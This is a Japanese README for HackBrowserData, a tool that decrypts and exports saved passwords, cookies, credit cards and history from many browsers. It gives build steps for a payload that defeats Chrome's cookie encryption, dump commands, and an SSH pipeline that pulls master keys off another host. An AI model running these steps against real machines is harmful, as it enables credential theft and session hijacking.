
ブラウザデータを抽出および復号化し、複数のデータタイプをサポートし、様々なオペレーティングシステム(macOS、Windows、Linux)で実行可能。
HackBrowserData は、ブラウザからデータ(パスワード、履歴、Cookie、ブックマーク、クレジットカード、ダウンロード履歴、localStorage、sessionStorage、拡張機能)を復号してエクスポートするためのコマンドラインツールです。Windows、macOS、Linux 上の最も一般的な Chromium ベースのブラウザと Firefox、さらに macOS 上の Safari をサポートしています。
また、マシンやオペレーティングシステムをまたいでデータを復号することもできます。元のホストでマスタキーをエクスポートし、別のホスト上でデータのコピーをオフラインで復号できます。これは、解析ホストの OS では実行できないブラウザであっても可能です(クロスホスト復号を参照)。
免責事項:このツールはセキュリティ研究のみを目的としています。このツールの使用によって生じるすべての法的および関連する責任はユーザーが負います。原作者は一切の法的責任を負いません。
macOS では、一部の Chromium ベースのブラウザは復号に現在のユーザーパスワードを必要とします。
macOS 26.4 以降ではパスワードの復号が失敗する可能性があります。
¹ Safari にはフルディスクアクセスが必要です。抽出結果が空の場合は、システム設定 → プライバシーとセキュリティ → フルディスクアクセスで有効にしてください。
² Windows では、Chromium 127 以降の Cookie(Chrome / Chrome Beta / Edge / Brave / CocCoc)を復号するには、
make build-windowsでビルドされた App-Bound Encryption ペイロードが必要です。以下のソースからのビルドを参照してください。³ これらのブラウザは Windows にのみ搭載されていますが、そのデータはどの OS でも復号可能です。
archiveでファイルを取得し、dumpkeysでキーをエクスポートし、macOS または Linux 上でrestoreを使って復号します。クロスホスト復号を参照してください。
HackBrowserData のインストールは非常に簡単です。お使いのシステム用のリリースをダウンロードして、バイナリを実行するだけです。
状況によっては、このセキュリティツールは Windows Defender やその他のアンチウイルスソフトウェアによってウイルスとして扱われ、実行できない場合があります。コードはすべてオープンソースであるため、ご自身で変更およびコンパイルすることができます。
Go 1.20+ が必要です。```bash
git clone https://github.com/moonD4rk/HackBrowserData
cd HackBrowserData
go build ./cmd/hack-browser-data/
#### クロスプラットフォームビルド```bash
# For Windows (standard build, no Chromium 127+ ABE cookie support)
GOOS=windows GOARCH=amd64 go build ./cmd/hack-browser-data/
# For Linux
GOOS=linux GOARCH=amd64 go build ./cmd/hack-browser-data/
Chrome / Chrome Beta / Edge / Brave / CocCoc 127+ は App-Bound Encryption で Cookie を保護します。これらの Cookie を復号するには小さな C ペイロードが必要です — Zig(0.13+)が推奨される C ツールチェーンです(Makefile は zig cc を呼び出します)。make payload をバイパスすれば、MinGW-w64 の gcc でもソースを手動でビルドできます。```bash
brew install zig # macOS scoop install zig # Windows (scoop)
make payload
make build-windows
生成された `hack-browser-data.exe` には、Chromium 127+ での完全な ABE Cookie 復号化が含まれています。
## 使用方法```
$ hack-browser-data -h
hack-browser-data decrypts and exports browser data from Chromium-based
browsers and Firefox on Windows, macOS, and Linux.
GitHub: https://github.com/moonD4rk/HackBrowserData
Usage:
hack-browser-data [flags]
hack-browser-data [command]
Available Commands:
archive Pack decryption-relevant profile files into a zip for cross-host restore
dump Extract and decrypt browser data (default command)
dumpkeys Export Chromium master keys as JSON for cross-host decryption
help Help about any command
list List detected browsers and profiles
restore Decrypt copied profile data using exported master keys
version Print version information
Flags:
-b, --browser string target browser: all|chrome|firefox|edge|... (default "all")
-c, --category string data categories (comma-separated): all|password,cookie,... (default "all")
-d, --dir string output directory (default "results")
-f, --format string output format: csv|json|cookie-editor (default "json")
-h, --help help for hack-browser-data
--keychain-pw string macOS keychain password
-p, --profile-path string custom profile dir path, get with chrome://version
-v, --verbose enable debug logging
--zip compress output to zip
Use "hack-browser-data [command] --help" for more information about a command.
dump - ブラウザデータの抽出と復号(デフォルト)サブコマンドなしで hack-browser-data を実行すると、デフォルトで dump になります。
--format cookie-editorは cookie のみ を、Cookie-Editor ブラウザ拡張機能のインポート形式に一致する JSON 配列として書き出します。cookie 以外のカテゴリはスキップされます。
別の オリジンホスト で収集されたブラウザデータを アナリストホスト 上で復号します — アナリストの OS ではインストールすらできないエンジンのブラウザも含みます(例: macOS 上で Sogou や QQ Browser のデータを復号)。プラットフォームに依存するもの(DPAPI、macOS Keychain、Chrome App-Bound Encryption)をオリジンから出す必要はありません。マスターキーは一度エクスポートされ、その後はデータのコピーから完全にオフラインで復号が実行されます。
このワークフローでは 3 つのコマンドと 2 つの転送可能な成果物を使用します:
hack-browser-data dumpkeys -o keys.json hack-browser-data archive -o browser-data.zip
hack-browser-data restore --keys keys.json --data-zip browser-data.zip
> `keys.json` には平文のマスターキーが含まれる — これは秘密情報として扱うこと。`dumpkeys -o` は `0600` パーミッションで書き出すが、ディスク上に残すよりも安全なチャネル経由でストリーミングすることを推奨する。
#### `dumpkeys` - クロスホスト復号のためのマスターキーエクスポート
各 Chromium インストールのマスターキーを元のホスト上で導出し、JSON として書き出す(Firefox / Safari にはポータブルなキーが存在しないためスキップされる)。デフォルトでは stdout に出力されるため、SSH 経由でパイプできる。
| フラグ | 短縮形 | デフォルト | 説明 |
|-----------------|-------|----------|-------------------------------------------------|
| `--browser` | `-b` | `all` | 対象ブラウザ (all\|chrome\|edge\|...) |
| `--output` | `-o` | *stdout* | 出力ファイル (`0600` で書き込み); 省略時は stdout |
| `--keychain-pw` | | | macOS キーチェーンのパスワード |
#### `archive` - 転送用に復号関連ファイルをパッケージ化
復元に実際に必要なファイル(クッキー、ログインデータ、履歴など)のみを、抽出時と同じロックされたファイルのバイパスを通じて収集するため、Windows 上でも使用中の SQLite ファイルを安全に読み取れる。zip は `<browser-key>/<User Data layout>` として構成されるため、1 つのアーカイブで複数のブラウザを格納でき、復元が曖昧にならない。エントリ名は常にフォワードスラッシュであるため、Windows で作成されたアーカイブも macOS / Linux で復元できる。
| フラグ | 短縮形 | デフォルト | 説明 |
|--------------|-------|--------------------|-----------------------------------------|
| `--browser` | `-b` | `all` | 対象ブラウザ (all\|chrome\|edge\|...) |
| `--category` | `-c` | `all` | データカテゴリ、カンマ区切り |
| `--output` | `-o` | `browser-data.zip` | 出力アーカイブパス |
#### `restore` - エクスポートされたキーでコピーしたデータを復号
`keys.json` から各 Chromium エンジンを直接再構築し、提供されたデータを復号する — アナリストのローカルブラウザテーブルを参照することは一切ないため、**復元できるブラウザは `keys.json` 内の Vault に限られる**。データは次の 2 通りの方法のいずれかで提供する(いずれか一方が必須):
- `--data-zip` — `archive` が生成した zip。一時ディレクトリに展開され、その後削除される。
- `--data-dir` — ディレクトリ。`archive` のレイアウト(`<browser-key>/...`、複数ブラウザを同時に)か、1 つのブラウザの手動コピーされた `User Data` ルートのいずれかであり、後者は単一ブラウザに対してのみ曖昧さがないため、`-b` と組み合わせる。
`-b` はダンプの Vault に対する**オプションのフィルタ**であり、必須のセレクタではない。
| フラグ | 短縮形 | デフォルト | 説明 |
|--------------|-------|------------|------------------------------------------------------------|
| `--keys` | | *必須* | `dumpkeys` からのキーファイル (stdin には `-` を使用) |
| `--data-zip` | | | `archive` からの zip (`--data-dir` とは排他的) |
| `--data-dir` | | | コピーされたデータディレクトリ (`--data-zip` とは排他的) |
| `--browser` | `-b` | | このブラウザのみ復元; `--keys` 内の Vault と一致する必要がある |
| `--category` | `-c` | `all` | データカテゴリ、カンマ区切り |
| `--format` | `-f` | `json` | 出力形式 (csv\|json\|cookie-editor) |
| `--dir` | `-d` | `results` | 出力ディレクトリ |
| `--zip` | | `false` | 出力を zip に圧縮 |
#### クロスホストの例```bash
# Stream keys over SSH (no keys.json on disk), data copied separately
ssh origin "hack-browser-data dumpkeys" | \
hack-browser-data restore --keys - --data-zip browser-data.zip
# Restore one browser from a hand-copied User Data folder (no archive)
hack-browser-data restore --keys keys.json --data-dir ./chrome-userdata -b chrome
list - 検出されたブラウザとプロファイルを一覧表示| フラグ | デフォルト | 説明 |
|---|---|---|
--detail | false | カテゴリごとのエントリ数を表示 |
version - バージョン情報を表示```bashhack-browser-data version
### グローバルフラグ
| フラグ | 短縮形 | 説明 |
|-------------|-------|----------------------|
| `--verbose` | `-v` | デバッグログを有効化 |
### 例```bash
# Extract all data from all browsers (default)
hack-browser-data
# Extract specific browser and categories
hack-browser-data dump -b chrome -c password,cookie
# Export in CSV format to a custom directory (JSON is the default)
hack-browser-data dump -b chrome -f csv -d output
# Export cookies in CookieEditor format
hack-browser-data dump -f cookie-editor
# Compress output to zip
hack-browser-data dump --zip
# List detected browsers and profiles
hack-browser-data list
# List with per-category entry counts
hack-browser-data list --detail
# Use custom profile path
hack-browser-data dump -b chrome -p "/path/to/User Data/Default"
コミュニティによるあらゆる貢献(GitHub の issue/pull request、メールでのフィードバックなど)を歓迎し、感謝します。
貢献する前に Contribution Guide をご覧ください。
HackBrowserData は 404Team StarLink-Galaxy の一部です。HackBrowserData について質問がある場合や、交流できるパートナーを探している場合は、Starlink group を参照してください。

HackBrowserData は、JetBrains s.r.o. から付与された 無償の JetBrains オープンソースライセンス の下、GoLand IDE を用いて開発されてきました。ここに感謝の意を表します。
| カテゴリ | Chromium ベース | Firefox | Safari |
|---|
| パスワード | ✅ | ✅ | ✅ |
| Cookie | ✅ | ✅ | ✅ |
| ブックマーク | ✅ | ✅ | ✅ |
| 履歴 | ✅ | ✅ | ✅ |
| ダウンロード | ✅ | ✅ | ✅ |
| クレジットカード | ✅ | - | - |
| 拡張機能 | ✅ | ✅ | ✅ |
| LocalStorage | ✅ | ✅ | ✅ |
| SessionStorage | ✅ | - | - |
| ブラウザ | Windows | macOS | Linux |
|---|
| Chrome | ✅² | ✅ | ✅ |
| Chrome Beta | ✅² | ✅ | ✅ |
| Chromium | ✅ | ✅ | ✅ |
| Edge | ✅² | ✅ | ✅ |
| Brave | ✅² | ✅ | ✅ |
| Opera | ✅ | ✅ | ✅ |
| OperaGX | ✅ | ✅ | - |
| Vivaldi | ✅ | ✅ | ✅ |
| Yandex | ✅ | ✅ | - |
| CocCoc | ✅² | ✅ | - |
| Arc | ✅ | ✅ | - |
| DuckDuckGo³ | ✅ | - | - |
| QQ³ | ✅ | - | - |
| 360 ChromeX³ | ✅ | - | - |
| 360 Chrome³ | ✅ | - | - |
| DC Browser³ | ✅ | - | - |
| Sogou Explorer³ | ✅ | - | - |
| Firefox | ✅ | ✅ | ✅ |
| Safari¹ | - | ✅ | - |
| フラグ | 短縮形 | デフォルト | 説明 |
|---|
--browser | -b | all | 対象ブラウザ (all|chrome|firefox|edge|...) |
--category | -c | all | データカテゴリ、カンマ区切り (all|password|cookie|bookmark|history|download|creditcard|extension|localstorage|sessionstorage) |
--format | -f | json | 出力形式 (csv|json|cookie-editor) |
--dir | -d | results | 出力ディレクトリ |
--profile-path | -p | カスタムプロファイルディレクトリパス、chrome://version で取得 | |
--keychain-pw | macOS keychain パスワード | ||
--zip | false | 出力を zip に圧縮 |
| ステップ | ホスト | コマンド | 生成物 |
|---|
| 1 | origin | dumpkeys | keys.json — ポータブルなマスターキー |
| 2 | origin | archive | browser-data.zip — 復号に必要なファイルのみ |
| 3 | analyst | restore | 復号された出力 (csv / json / cookie-editor) |